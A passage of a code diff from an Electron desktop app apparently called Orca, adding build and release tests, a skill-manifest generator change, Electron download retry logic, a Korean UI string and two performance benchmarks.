arch: 'x64'
},
runtime
)
).toEqual(['config/scripts/rebuild-native-deps.mjs', '--platform=linux', '--arch=x64'])
expect(
buildNativeRebuildArgs(
{
platform: { nodeName: 'linux' },
arch: 'arm64'
},
runtime
)
).toContain('--force')
})
it('builds the native CLI launcher before packaging Windows resources', () => {
const calls = []
const result = runElectronBuilderNativeRebuild(
@@ -0,0 +1,42 @@
import { readFileSync } from 'node:fs'
import { describe, expect, it } from 'vitest'
import { electronViteConfig } from '../../electron.vite.config'
const targetConfig = readFileSync('config/electron-vite-target.config.ts', 'utf8')
describe('Electron Vite output contract', () => {
it('keeps main-process and plain-Node entries at stable CommonJS paths', () => {
const output = electronViteConfig.main?.build?.rollupOptions?.output
if (!output || Array.isArray(output)) {
throw new Error('Expected one main-process output')
}
expect(output.format).toBe('cjs')
expect(output.entryFileNames).toBe('[name].js')
expect(output.chunkFileNames).toBe('chunks/[name]-[hash].js')
})
it('externalizes packaged dependencies but bundles the daemon xterm graph', () => {
const external = electronViteConfig.main?.build?.rollupOptions?.external
if (typeof external !== 'function') {
throw new Error('Expected main-process external predicate')
}
expect(external('node-pty', undefined, false)).toBe(true)
expect(external('@parcel/watcher', undefined, false)).toBe(true)
expect(external('electron', undefined, false)).toBe(true)
expect(external('node:fs', undefined, false)).toBe(true)
expect(external('@xterm/headless', undefined, false)).toBe(false)
expect(external('@xterm/addon-serialize', undefined, false)).toBe(false)
})
it('isolates renderer entry side effects behind strict facades', () => {
expect(electronViteConfig.renderer?.build?.rollupOptions?.preserveEntrySignatures).toBe(
'strict'
)
})
it('rejects prototype properties as build targets', () => {
expect(targetConfig).toContain('Object.prototype.hasOwnProperty.call(configByTarget, target)')
})
})
@@ -18,6 +18,11 @@ const OUTPUT_ROOT = path.join(REPO_ROOT, 'resources', 'skills')
const CURRENT_MANIFEST_PATH = path.join(OUTPUT_ROOT, 'current-manifest.json')
const SNAPSHOT_REGISTRY_PATH = path.join(OUTPUT_ROOT, 'snapshot-registry.json')
const RELEASE_MAPPING_PATH = path.join(OUTPUT_ROOT, 'release-mapping.json')
// Why: the manifest and registry are content-addressed — they describe skill
// bytes. The mapping is provenance: which already-committed revision a tag
// shipped. A release cut may append the second without regenerating the first.
const CONTENT_ADDRESSED_PATHS = [CURRENT_MANIFEST_PATH, SNAPSHOT_REGISTRY_PATH]
const ALL_ARTIFACT_PATHS = [...CONTENT_ADDRESSED_PATHS, RELEASE_MAPPING_PATH]
function sha256(bytes) {
return createHash('sha256').update(bytes).digest('hex')
@@ -551,13 +556,14 @@ function serialized(value) {
return `${JSON.stringify(value, null, 2)}\n`
}
async function writeArtifacts(artifacts) {
await mkdir(OUTPUT_ROOT, { recursive: true })
await Promise.all([
writeFile(CURRENT_MANIFEST_PATH, serialized(artifacts.currentManifest)),
writeFile(SNAPSHOT_REGISTRY_PATH, serialized(artifacts.snapshotRegistry)),
writeFile(RELEASE_MAPPING_PATH, serialized(artifacts.releaseMapping))
async function writeArtifacts(artifacts, paths = ALL_ARTIFACT_PATHS) {
const values = new Map([
[CURRENT_MANIFEST_PATH, artifacts.currentManifest],
[SNAPSHOT_REGISTRY_PATH, artifacts.snapshotRegistry],
[RELEASE_MAPPING_PATH, artifacts.releaseMapping]
])
await mkdir(OUTPUT_ROOT, { recursive: true })
await Promise.all(paths.map((filePath) => writeFile(filePath, serialized(values.get(filePath)))))
}
// Why: cutting a release tag adds a trailing mapping row on every checkout at
@@ -592,12 +598,12 @@ function isToleratedReleaseMappingPrefix(committedText, artifacts) {
.every((release) => isDeepStrictEqual(release.skills, currentRevisions))
}
async function verifyArtifacts(artifacts) {
async function verifyArtifacts(artifacts, paths = ALL_ARTIFACT_PATHS) {
const expected = [
[CURRENT_MANIFEST_PATH, artifacts.currentManifest, null],
[SNAPSHOT_REGISTRY_PATH, artifacts.snapshotRegistry, null],
[RELEASE_MAPPING_PATH, artifacts.releaseMapping, isToleratedReleaseMappingPrefix]
]
].filter(([filePath]) => paths.includes(filePath))
const stale = []
for (const [filePath, value, tolerated] of expected) {
try {
@@ -636,16 +642,25 @@ async function main() {
const artifacts = await buildArtifacts(releasedHistory)
if (releaseVersion) {
// Why: the row names revisions the committed registry must already contain,
// so proving those artifacts match this ref is what lets the cut record
// provenance without regenerating them. If regeneration disagrees with what
// is committed, the row would name a revision this tag does not ship.
await verifyArtifacts(artifacts, CONTENT_ADDRESSED_PATHS)
appendReleaseRow(artifacts, releaseVersion)
}
// Why: released snapshots are append-only. The committed registry/mapping are
// read fresh here so the artifacts (which may have appended a release row) can
// never alias what we validate against.
// never alias what we validate against. This mapping must stay the PRE-append
// one to match artifacts.releasedSnapshotCounts, which seeding fixed before the
// row existed; the post-append mapping names one more revision than the counts
// do, which reads as incomplete history and would throw on every cut.
assertReleasedHistoryPreserved(committedRegistry, artifacts, committedMapping)
const shouldWrite = releaseVersion !== null || argv.includes('--write')
await (shouldWrite ? writeArtifacts : verifyArtifacts)(artifacts)
const writePaths = releaseVersion ? [RELEASE_MAPPING_PATH] : ALL_ARTIFACT_PATHS
await (shouldWrite ? writeArtifacts(artifacts, writePaths) : verifyArtifacts(artifacts))
}
if (process.argv[1] && path.resolve(process.argv[1]) === import.meta.filename) {
@@ -1,8 +1,19 @@
import { execFileSync } from 'node:child_process'
import { chmod, mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises'
import {
chmod,
copyFile,
mkdir,
mkdtemp,
readFile,
realpath,
rm,
symlink,
writeFile
} from 'node:fs/promises'
import { tmpdir } from 'node:os'
import path from 'node:path'
import { afterEach, describe, expect, it } from 'vitest'
import { parse } from 'yaml'
import {
appendReleaseRow,
assertReleasedHistoryPreserved,
@@ -18,6 +29,7 @@ import {
} from './generate-skill-bundle-manifest.mjs'
const temporaryDirectories = []
const REPO_ROOT = path.resolve(import.meta.dirname, '..', '..')
async function createPackage() {
const directory = await mkdtemp(path.join(tmpdir(), 'orca-skill-manifest-'))
@@ -25,6 +37,26 @@ async function createPackage() {
return directory
}
// Why: the generator resolves its repo root from its own location, so a copy of
// the script inside a throwaway tree exercises the real CLI — including which
// artifacts each mode is allowed to write — without touching resources/skills.
async function createReleaseSandbox() {
// Node resolves the entry point through symlinks, so the script's own
// repo-root check only matches when the sandbox path is already resolved.
const root = await realpath(await createPackage())
const skillRoot = path.join(root, 'skills', 'demo')
const script = path.join(root, 'config', 'scripts', 'generate-skill-bundle-manifest.mjs')
await mkdir(path.dirname(script), { recursive: true })
await mkdir(skillRoot, { recursive: true })
await copyFile(path.join(import.meta.dirname, 'generate-skill-bundle-manifest.mjs'), script)
await writeFile(path.join(skillRoot, 'SKILL.md'), 'demo skill\n')
return {
generate: (...args) => execFileSync(process.execPath, [script, ...args], { stdio: 'pipe' }),
read: (name) => readFile(path.join(root, 'resources', 'skills', name), 'utf8'),
editSkill: (body) => writeFile(path.join(skillRoot, 'SKILL.md'), body)
}
}
afterEach(async () => {
await Promise.all(
temporaryDirectories.splice(0).map((directory) => rm(directory, { recursive: true }))
@@ -315,6 +347,62 @@ describe('skill bundle manifest generator', () => {
expect(() => appendReleaseRow(artifacts, '1.4.151')).toThrow(/already has a row for 1\.4\.151/)
})
it('records a release without regenerating the content-addressed artifacts', async () => {
const sandbox = await createReleaseSandbox()
sandbox.generate('--write')
const [manifest, registry] = await Promise.all([
sandbox.read('current-manifest.json'),
sandbox.read('snapshot-registry.json')
])
sandbox.generate('--release', 'v1.4.156')
// The cut records provenance for bytes that are already committed, so a
// version-only cut can never rewrite a shipped identity.
expect(JSON.parse(await sandbox.read('release-mapping.json')).releases).toEqual([
{ appVersion: '1.4.156', skills: { demo: 1 } }
])
expect(await sandbox.read('current-manifest.json')).toBe(manifest)
expect(await sandbox.read('snapshot-registry.json')).toBe(registry)
// Bytes that changed since the last regeneration would make the row name a
// revision this tag does not ship — refuse rather than record it.
await sandbox.editSkill('edited after the last regeneration\n')
expect(() => sandbox.generate('--release', '1.4.157')).toThrow(
/Generated skill artifacts are stale/
)
expect(JSON.parse(await sandbox.read('release-mapping.json')).releases).toHaveLength(1)
})
it('freezes a revision once a release records it, and only until then', async () => {
const sandbox = await createReleaseSandbox()
const demoSnapshots = async () =>
JSON.parse(await sandbox.read('snapshot-registry.json')).skills.demo
sandbox.generate('--write')
const unreleased = (await demoSnapshots())[0].packageDigest
// Nothing has shipped revision 1 yet, so re-deriving it over new bytes is
// correct: the tail floats until a release names it.
await sandbox.editSkill('about to ship\n')
sandbox.generate('--write')
const shipped = await demoSnapshots()
expect(shipped).toHaveLength(1)
expect(shipped[0].packageDigest).not.toBe(unreleased)
sandbox.generate('--release', '1.4.156')
// The cut named revision 1, so the next change appends revision 2 instead of
// rebuilding revision 1. Installs carrying the shipped digest keep matching a
// known snapshot — without the ledger row they would match nothing.
await sandbox.editSkill('changed again after the cut\n')
sandbox.generate('--write')
const frozen = await demoSnapshots()
expect(frozen).toHaveLength(2)
expect(frozen[0]).toEqual(shipped[0])
expect(frozen[1].releaseRevision).toBe(2)
})
it.runIf(process.platform !== 'win32')(
'rejects executable files in shipped skill packages',
async () => {
@@ -375,4 +463,44 @@ describe('skill bundle manifest generator', () => {
expect(gitTreeSha(files)).toBe(expected)
})
// Why: every step in the cut job shares one workspace and one index, so any of
// them can stage the content-addressed artifacts and the bump step's own commit
// then carries them into the tag. Grepping the workflow cannot see a path built
// from an env var, a composite action, or concatenation, so the cut asserts its
// own index before committing; this test pins that guard and adds a tripwire
// for the literal spellings.
it('keeps the whole release-cut job off skill regeneration', async () => {
const workflow = parse(
await readFile(path.join(REPO_ROOT, '.github/workflows/release-cut.yml'), 'utf8')
)
const runSteps = workflow.jobs.cut.steps
.filter((step) => typeof step.run === 'string')
.map((step) => ({ name: step.name ?? '(unnamed)', run: step.run.replace(/^\s*#.*$/gm, '') }))
const bumpStep = runSteps.find((step) => step.name === 'Bump package.json and tag')
// The load-bearing check: whatever staged it and however the commit was
// spelled, only these two paths may ship. Asserted on the commit rather than
// the index because `git commit -a/-i/--only/<pathspec>` bypasses the index.
// -F is part of the contract; without it `.` admits a path like packageXjson.
// Flags pinned, not just the command: a `--diff-filter` slipped in here would
// silence modifications, and dropping -m makes a merge commit report nothing.
expect(bumpStep.run).toMatch(
/git diff-tree --no-commit-id --name-only -r -m --first-parent HEAD\s*\|\s*grep -vxF -e 'package\.json' -e 'resources\/skills\/release-mapping\.json'/
)
expect(bumpStep.run.indexOf('grep -vxF')).toBeLessThan(bumpStep.run.indexOf('git tag'))
// ...and that it aborts. A guard degraded to a warning still reads as covered.
// The exit must be inside the guard's own block, not borrowed from a later one.
expect(bumpStep.run).toMatch(
/if \[\[ -n "\$committed" \]\]; then(?:(?!\bfi\b)[\s\S])*exit 1[\s\S]*?fi/
)
// Tripwire only. A step that merely READS this directory may be added here;
// one that writes or stages it must not, and the guard above will reject it.
expect(runSteps.filter((s) => /resources[/\\]skills/.test(s.run)).map((s) => s.name)).toEqual([
'Bump package.json and tag'
])
for (const step of runSteps) {
expect(step.run, step.name).not.toMatch(/--write|generate:skill-bundle-manifest/)
}
})
})
@@ -5,7 +5,7 @@ import { describe, expect, it } from 'vitest'
describe('Git binary compatibility PR gate', () => {
it('runs the real-binary contract at each compatibility boundary', () => {
const workflow = parse(readFileSync('.github/workflows/pr.yml', 'utf8'))
const step = workflow.jobs.verify.steps.find(
const step = workflow.jobs.git_compatibility.steps.find(
(candidate) => candidate.name === 'Verify Git binary compatibility matrix'
)
@@ -16,5 +16,8 @@ describe('Git binary compatibility PR gate', () => {
expect(step?.run).toContain('alpine/git:v2.49.1|2.49.1')
expect(step?.run).toContain('ORCA_GIT_COMPAT_IMAGE="$image"')
expect(step?.run).toContain('src/shared/git-binary-compatibility.test.ts')
expect(step?.run).toContain('-j"$(nproc)"')
expect(step?.run).toContain('pids+=("$!")')
expect(step?.run).toContain('wait "$pid" || status=1')
})
})
@@ -0,0 +1,128 @@
#!/usr/bin/env node
// Benchmark: latency of loading one file diff, which reads two git blobs.
//
// The diff loaders in src/main/git/status.ts awaited their two sides in series,
// so the second `git show` could not start until the first had fully returned.
// The two reads are independent, so that serialization was pure added latency on
// every diff the review panel opens.
//
// This spawns the real `git` binary against this repo, so it measures actual
// process-launch and read cost rather than a model of it. Over SSH each diff is
// one relay RPC and the two spawns run host-local inside the relay, so the same
// relative saving applies to remote-host spawn time, not to network round trips.
import { execFile } from 'node:child_process'
import { performance } from 'node:perf_hooks'
import { fileURLToPath } from 'node:url'
const REPO_ROOT = fileURLToPath(new URL('../..', import.meta.url))
const ITERATIONS = Number(process.env.ORCA_DIFF_BLOB_BENCH_ITERATIONS ?? '10')
const WARMUP = Number(process.env.ORCA_DIFF_BLOB_BENCH_WARMUP ?? '3')
for (const [name, value] of [
['ORCA_DIFF_BLOB_BENCH_ITERATIONS', ITERATIONS],
['ORCA_DIFF_BLOB_BENCH_WARMUP', WARMUP]
]) {
if (!Number.isSafeInteger(value) || value <= 0) {
throw new Error(`${name} must be a positive integer, received ${value}`)
}
}
function git(args) {
return new Promise((resolve, reject) => {
execFile('git', args, { cwd: REPO_ROOT, maxBuffer: 256 * 1024 * 1024 }, (error, stdout) =>
error ? reject(error) : resolve(stdout)
)
})
}
// Pre-fix: await one side, then the other.
async function readSequential(leftRef, rightRef, filePath) {
const left = await git(['show', '--end-of-options', `${leftRef}:${filePath}`])
const right = await git(['show', '--end-of-options', `${rightRef}:${filePath}`])
return left.length + right.length
}
// Post-fix: issue both, await together.
async function readConcurrent(leftRef, rightRef, filePath) {
const [left, right] = await Promise.all([
git(['show', '--end-of-options', `${leftRef}:${filePath}`]),
git(['show', '--end-of-options', `${rightRef}:${filePath}`])
])
return left.length + right.length
}
// Why interleaved: running one strategy's whole batch before the other's lets
// cache warming, CPU-frequency drift, and background load correlate with the
// strategy being measured. Alternating per iteration and taking medians keeps
// that drift common to both arms.
async function measureInterleaved(leftRef, rightRef, filePath) {
for (let index = 0; index < WARMUP; index += 1) {
await readSequential(leftRef, rightRef, filePath)
await readConcurrent(leftRef, rightRef, filePath)
}
const sequentialSamples = []
const concurrentSamples = []
for (let index = 0; index < ITERATIONS; index += 1) {
// Alternate which arm goes first so neither systematically pays a cold cache.
const sequentialFirst = index % 2 === 0
for (const runSequential of sequentialFirst ? [true, false] : [false, true]) {
const start = performance.now()
await (runSequential ? readSequential : readConcurrent)(leftRef, rightRef, filePath)
;(runSequential ? sequentialSamples : concurrentSamples).push(performance.now() - start)
}
}
const median = (samples) => {
const sorted = [...samples].sort((a, b) => a - b)
const middle = Math.floor(sorted.length / 2)
return sorted.length % 2 === 0 ? (sorted[middle - 1] + sorted[middle]) / 2 : sorted[middle]
}
return { sequential: median(sequentialSamples), concurrent: median(concurrentSamples) }
}
const head = (await git(['rev-parse', 'HEAD'])).trim()
const parent = `${head}~1`
// Files that exist on both sides, spanning small to large so the fixed spawn
// cost and the size-dependent read cost are both represented.
const CANDIDATES = [
'src/main/git/status.ts',
'src/shared/agent-hook-listener.ts',
'src/renderer/src/components/TaskPage.tsx'
]
const files = []
for (const filePath of CANDIDATES) {
try {
await git(['cat-file', '-e', `${parent}:${filePath}`])
await git(['cat-file', '-e', `${head}:${filePath}`])
files.push(filePath)
} catch {
// Skip a path that does not exist on both sides in this checkout.
}
}
if (files.length === 0) {
throw new Error('no benchmark file exists at both HEAD and HEAD~1 in this checkout')
}
const pad = (value, width) => String(value).padStart(width)
console.log('One file diff = two git blob reads. Lower is better.')
console.log(
`iterations=${ITERATIONS} warmup=${WARMUP} (interleaved, medians) head=${head.slice(0, 9)}`
)
console.log(
`${pad('file', 26)} ${pad('sequential', 12)} ${pad('concurrent', 12)} ${pad('speedup', 9)} ${pad('saved', 10)}`
)
for (const filePath of files) {
const sequentialBytes = await readSequential(parent, head, filePath)
const concurrentBytes = await readConcurrent(parent, head, filePath)
if (sequentialBytes !== concurrentBytes) {
throw new Error(`byte mismatch for ${filePath}`)
}
const { sequential, concurrent } = await measureInterleaved(parent, head, filePath)
console.log(
`${pad(filePath.split('/').pop(), 26)} ${pad(`${sequential.toFixed(1)} ms`, 12)} ${pad(`${concurrent.toFixed(1)} ms`, 12)} ${pad(`${(sequential / concurrent).toFixed(2)}x`, 9)} ${pad(`${(sequential - concurrent).toFixed(1)} ms`, 10)}`
)
}
console.log(
'\nThe saving is per diff opened, and is dominated by process launch rather than\nfile size — which is why it holds roughly constant across these files.'
)
@@ -24,6 +24,20 @@ const { downloadArtifact } = electronRequire('@electron/get')
const targetPlatform = getElectronTargetPlatform()
const targetArch = getElectronTargetArch()
const platformPath = getElectronPlatformPath(targetPlatform)
const transientDownloadErrorCodes = new Set([
'EAI_AGAIN',
'ECONNREFUSED',
'ECONNRESET',
'ENETDOWN',
'ENETRESET',
'ENETUNREACH',
'ENOTFOUND',
'EPIPE',
'ETIMEDOUT',
'UND_ERR_CONNECT_TIMEOUT',
'UND_ERR_HEADERS_TIMEOUT',
'UND_ERR_SOCKET'
])
try {
// Why: Electron's own install.js can exit 0 while an async extract promise is
@@ -111,7 +125,7 @@ async function installElectronPackageBinary() {
const extractDir = join(tempDir, 'extract')
try {
const zipPath = await downloadArtifact({
const downloadOptions = {
version: electronVersion,
artifactName: 'electron',
platform: targetPlatform,
@@ -120,7 +134,8 @@ async function installElectronPackageBinary() {
force: true,
tempDirectory: tempDir,
...(shouldUseRemoteChecksums() ? {} : { checksums: electronRequire('./checksums.json') })
})
}
const zipPath = await downloadElectronArtifactWithRetry(downloadOptions)
// Why: CI has observed partial extracts directly under node_modules/electron
// that leave only dist/locales. Verify in temp before replacing package dist.
@@ -145,6 +160,82 @@ async function installElectronPackageBinary() {
}
}
async function downloadElectronArtifactWithRetry(downloadOptions) {
const retryDelays = getDownloadRetryDelays()
for (let attempt = 0; ; attempt += 1) {
try {
return await downloadArtifact(downloadOptions)
} catch (error) {
const retryDelay = retryDelays[attempt]
if (retryDelay === undefined || !isTransientDownloadError(error)) {
throw error
}
console.warn(
`[electron-package] Transient Electron download failure (${formatDownloadError(error)}); ` +
`retrying in ${retryDelay}ms (${attempt + 2}/${retryDelays.length + 1}).`
)
rmSync(downloadOptions.cacheRoot, { recursive: true, force: true })
await new Promise((resolveDelay) => setTimeout(resolveDelay, retryDelay))
}
}
}
function getDownloadRetryDelays() {
const configured = process.env.ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS
if (!configured) {
return [1_000, 3_000]
}
const delays = configured.split(',').map(Number)
if (delays.some((delay) => !Number.isSafeInteger(delay) || delay < 0)) {
throw new Error('ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS must contain non-negative integers')
}
return delays
}
function isTransientDownloadError(error) {
for (const candidate of getErrorChain(error)) {
if (transientDownloadErrorCodes.has(candidate?.code)) {
return true
}
const statusCode = candidate?.statusCode ?? candidate?.response?.statusCode
if (
statusCode === 408 ||
statusCode === 425 ||
statusCode === 429 ||
(statusCode >= 500 && statusCode < 600)
) {
return true
}
}
return false
}
function getErrorChain(error) {
const errors = []
let candidate = error
while (candidate && errors.length < 5) {
errors.push(candidate)
candidate = candidate.cause
}
return errors
}
function formatDownloadError(error) {
for (const candidate of getErrorChain(error)) {
const statusCode = candidate?.statusCode ?? candidate?.response?.statusCode
if (statusCode) {
return `HTTP ${statusCode}`
}
if (candidate?.code) {
return candidate.code
}
}
return error instanceof Error ? error.message : String(error)
}
function extractElectronArchive(zipPath, extractDir) {
mkdirSync(extractDir, { recursive: true })
// Why: extract-zip/Electron install.js can leave Node 24 with an unsettled
@@ -93,6 +93,102 @@ describe('install-electron-package-binary', () => {
}
})
it('retries transient Electron download failures', () => {
const projectDir = mkTempProject()
try {
writeFakeElectronPackage(projectDir)
writeFakeElectronGet(projectDir, {
downloadFailures: 1,
downloadErrorCode: 'ECONNRESET'
})
writeFakeExtractor(projectDir, { createExecutable: true })
const result = runInstallScript(projectDir, {
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,0'
})
expect(result.status, result.stderr).toBe(0)
expect(
readFileSync(join(projectDir, 'electron-get.log'), 'utf8').trim().split('\n')
).toHaveLength(2)
expect(result.stderr).toContain('Transient Electron download failure (ECONNRESET)')
} finally {
rmSync(projectDir, { recursive: true, force: true })
}
})
it('fails after exhausting transient Electron download retries', () => {
const projectDir = mkTempProject()
try {
writeFakeElectronPackage(projectDir)
writeFakeElectronGet(projectDir, {
downloadFailures: 5,
downloadErrorCode: 'ECONNRESET'
})
writeFakeExtractor(projectDir, { createExecutable: true })
const result = runInstallScript(projectDir, {
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,0'
})
expect(result.status).toBe(1)
expect(
readFileSync(join(projectDir, 'electron-get.log'), 'utf8').trim().split('\n')
).toHaveLength(3)
} finally {
rmSync(projectDir, { recursive: true, force: true })
}
})
it('rejects invalid Electron download retry delays before downloading', () => {
const projectDir = mkTempProject()
try {
writeFakeElectronPackage(projectDir)
writeFakeElectronGet(projectDir)
writeFakeExtractor(projectDir, { createExecutable: true })
const result = runInstallScript(projectDir, {
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,nope'
})
expect(result.status).toBe(1)
expect(result.stderr).toContain(
'ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS must contain non-negative integers'
)
expect(existsSync(join(projectDir, 'electron-get.log'))).toBe(false)
} finally {
rmSync(projectDir, { recursive: true, force: true })
}
})
it('does not retry permanent Electron download failures', () => {
const projectDir = mkTempProject()
try {
writeFakeElectronPackage(projectDir)
writeFakeElectronGet(projectDir, {
downloadFailures: 3,
downloadErrorCode: 'EACCES'
})
writeFakeExtractor(projectDir, { createExecutable: true })
const result = runInstallScript(projectDir, {
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,0'
})
expect(result.status).toBe(1)
expect(
readFileSync(join(projectDir, 'electron-get.log'), 'utf8').trim().split('\n')
).toHaveLength(1)
expect(result.stderr).not.toContain('Transient Electron download failure')
} finally {
rmSync(projectDir, { recursive: true, force: true })
}
})
it('fails instead of silently accepting a partial Electron extract', () => {
const projectDir = mkTempProject()
@@ -181,7 +277,10 @@ module.exports = path.join(__dirname, 'dist', fs.readFileSync(pathFile, 'utf8'))
)
}
function writeFakeElectronGet(projectDir, { downloadNeverSettles = false } = {}) {
function writeFakeElectronGet(
projectDir,
{ downloadNeverSettles = false, downloadFailures = 0, downloadErrorCode = 'ECONNRESET' } = {}
) {
const getDir = join(projectDir, 'node_modules', 'electron', 'node_modules', '@electron', 'get')
mkdirSync(getDir, { recursive: true })
writeFileSync(
@@ -189,7 +288,9 @@ function writeFakeElectronGet(projectDir, { downloadNeverSettles = false } = {})
`
const { mkdirSync, writeFileSync, appendFileSync } = require('node:fs')
const { join } = require('node:path')
let downloadAttempt = 0
exports.downloadArtifact = async function downloadArtifact(details) {
downloadAttempt += 1
appendFileSync(
'electron-get.log',
'cacheRoot=' + details.cacheRoot + ' platform=' + details.platform + ' arch=' + details.arch + '\\n'
@@ -197,6 +298,12 @@ exports.downloadArtifact = async function downloadArtifact(details) {
if (${JSON.stringify(downloadNeverSettles)}) {
return new Promise(() => {})
}
if (downloadAttempt <= ${JSON.stringify(downloadFailures)}) {
const cause = Object.assign(new Error('download failed'), {
code: ${JSON.stringify(downloadErrorCode)}
})
throw Object.assign(new TypeError('fetch failed'), { cause })
}
mkdirSync(details.cacheRoot, { recursive: true })
const artifactPath = join(details.cacheRoot, 'electron.zip')
writeFileSync(artifactPath, 'fake zip')
+1 -1
View File
@@ -2814,7 +2814,7 @@
"ko": "{{value0}} 메가바이트"
},
"auto.components.settings.TerminalPane.6e6480a7df": {
"ko": "terminal의 프로그램(tmux, Neovim, fzf, SSH)이 시스템 클립보드에 복사할 수 있게 합니다."
"ko": "terminal의 프로그램(Zellij, tmux, Neovim, fzf, Grok, SSH)이 시스템 클립보드에 복사할 수 있게 합니다."
},
"auto.components.settings.TerminalPane.8eefeaa3da": {
"ko": "마우스를 따라 포커스 이동"
@@ -0,0 +1,192 @@
#!/usr/bin/env node
// Benchmark: cost of the mobile agent-status projection per store mutation.
//
// buildRuntimeMobileAgentStatusProjection runs on the App.tsx global store
// subscriber. setAgentStatus replaces one entry and re-spreads
// agentStatusByPaneKey, which defeats the reference-equality skip gate, so before
// the fix EVERY live agent was re-serialized on EVERY status ping — each carrying
// a prompt, a 20-entry stateHistory, toolInput, and an 8 KB-capped
// lastAssistantMessage.
//
// The fix memoizes each row's JSON by entry identity, mirroring the
// cachedTabsProjection pattern already in the same file, so a ping re-serializes
// only the agent that actually changed.
//
// The bucket width is re-read from the real module so a drifted constant fails
// loudly here instead of quietly changing what this benchmark measures.
import { readFileSync } from 'node:fs'
import { performance } from 'node:perf_hooks'
import { fileURLToPath } from 'node:url'
const GRAPH_SOURCE = readFileSync(
fileURLToPath(new URL('../../src/renderer/src/runtime/sync-runtime-graph.ts', import.meta.url)),
'utf8'
)
const bucketMatch = GRAPH_SOURCE.match(/AGENT_STATUS_SYNC_UPDATED_AT_BUCKET_MS = ([0-9_]+)/)
if (!bucketMatch) {
throw new Error(
'sync-runtime-graph.ts no longer defines the updatedAt bucket; re-sync this benchmark.'
)
}
const BUCKET_MS = Number(bucketMatch[1].replaceAll('_', ''))
const ITERATIONS = Number.parseInt(process.env.ORCA_AGENT_PROJECTION_BENCH_ITERATIONS ?? '400', 10)
const WARMUP = Number.parseInt(process.env.ORCA_AGENT_PROJECTION_BENCH_WARMUP ?? '60', 10)
for (const [name, value] of [
['ORCA_AGENT_PROJECTION_BENCH_ITERATIONS', ITERATIONS],
['ORCA_AGENT_PROJECTION_BENCH_WARMUP', WARMUP]
]) {
if (!Number.isInteger(value) || value <= 0) {
throw new Error(`${name} must be a positive integer, received ${value}`)
}
}
function toRow(paneKey, entry) {
return {
paneKey,
entryPaneKey: entry.paneKey,
state: entry.state,
prompt: entry.prompt,
updatedAtBucket: Math.floor(entry.updatedAt / BUCKET_MS),
stateStartedAt: entry.stateStartedAt,
agentType: entry.agentType ?? null,
terminalTitle: entry.terminalTitle ?? null,
stateHistory: entry.stateHistory.map((history) => ({
state: history.state,
prompt: history.prompt,
startedAt: history.startedAt,
interrupted: history.interrupted ?? null
})),
toolName: entry.toolName ?? null,
toolInput: entry.toolInput ?? null,
interactivePrompt: entry.interactivePrompt ?? null,
lastAssistantMessage: entry.lastAssistantMessage ?? null,
interrupted: entry.interrupted ?? null
}
}
function serializeEntry(paneKey, entry) {
return JSON.stringify(toRow(paneKey, entry))
}
// Pre-fix: build plain rows and stringify the array once — no per-row roundtrip,
// which the original never paid and which would inflate the reported speedup.
function buildFull(map) {
return JSON.stringify(
Object.entries(map)
.sort(([a], [b]) => a.localeCompare(b))
.map(([paneKey, entry]) => toRow(paneKey, entry))
)
}
// Post-fix: reuse each row's JSON while its entry object is unchanged.
function makeCachedBuilder() {
let cache = null
return (map) => {
if (cache?.source === map) {
return cache.projection
}
const previous = cache?.entries
const entries = new Map()
const parts = []
for (const [paneKey, entry] of Object.entries(map).sort(([a], [b]) => a.localeCompare(b))) {
const prior = previous?.get(paneKey)
const row =
prior?.entry === entry ? prior : { entry, projection: serializeEntry(paneKey, entry) }
entries.set(paneKey, row)
parts.push(row.projection)
}
const projection = `[${parts.join(',')}]`
cache = { source: map, entries, projection }
return projection
}
}
// A live agent as the store actually holds it.
function makeEntry(index, updatedAt) {
return {
paneKey: `tab-${index}:leaf-0`,
state: 'working',
prompt: 'implement the feature and run the tests '.repeat(4),
updatedAt,
stateStartedAt: 1740000000000,
agentType: 'claude',
terminalTitle: `agent ${index}`,
stateHistory: Array.from({ length: 20 }, (_value, step) => ({
state: 'working',
prompt: `step ${step} of the current turn`,
startedAt: 1740000000000 + step,
interrupted: null
})),
toolName: 'shell_command',
toolInput: 'rg --line-number "pattern" src/ '.repeat(8),
interactivePrompt: null,
// The cap the store applies to assistant text.
lastAssistantMessage: 'x'.repeat(8000),
interrupted: null
}
}
function makeMap(agents) {
const map = {}
for (let index = 0; index < agents; index += 1) {
map[`tab-${index}:leaf-0`] = makeEntry(index, 1740000000000 + index * BUCKET_MS)
}
return map
}
// One status ping: one entry replaced, the map re-spread, every other entry
// reference-identical — exactly what setAgentStatus produces.
function ping(map, round) {
return {
...map,
'tab-0:leaf-0': makeEntry(0, 1740000000000 + BUCKET_MS * (round + 1))
}
}
function measure(build, map) {
let current = map
for (let index = 0; index < WARMUP; index += 1) {
current = ping(current, index)
build(current)
}
const samples = []
for (let round = 0; round < 5; round += 1) {
const start = performance.now()
for (let index = 0; index < ITERATIONS; index += 1) {
current = ping(current, index)
build(current)
}
samples.push((performance.now() - start) / ITERATIONS)
}
samples.sort((a, b) => a - b)
return samples[2]
}
const pad = (value, width) => String(value).padStart(width)
console.log('Mobile agent-status projection, per status ping (one agent changed)')
console.log(`bucket=${BUCKET_MS}ms iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`)
console.log(`${pad('agents', 8)} ${pad('full', 11)} ${pad('cached', 11)} ${pad('speedup', 9)}`)
for (const agents of [3, 8, 20, 40]) {
const map = makeMap(agents)
const cachedBuilder = makeCachedBuilder()
if (buildFull(map) !== cachedBuilder(map)) {
throw new Error(`projection mismatch at ${agents} agents`)
}
// Why also after a ping: the cold call reuses nothing, so a stale-row bug would
// only surface once the cache is actually exercised.
const pinged = ping(map, 0)
if (buildFull(pinged) !== cachedBuilder(pinged)) {
throw new Error(`projection mismatch after a ping at ${agents} agents`)
}
const full = measure(buildFull, map)
const cached = measure(makeCachedBuilder(), map)
console.log(
`${pad(agents, 8)} ${pad(`${full.toFixed(4)} ms`, 11)} ${pad(`${cached.toFixed(4)} ms`, 11)} ${pad(`${(full / cached).toFixed(1)}x`, 9)}`
)
}
console.log(
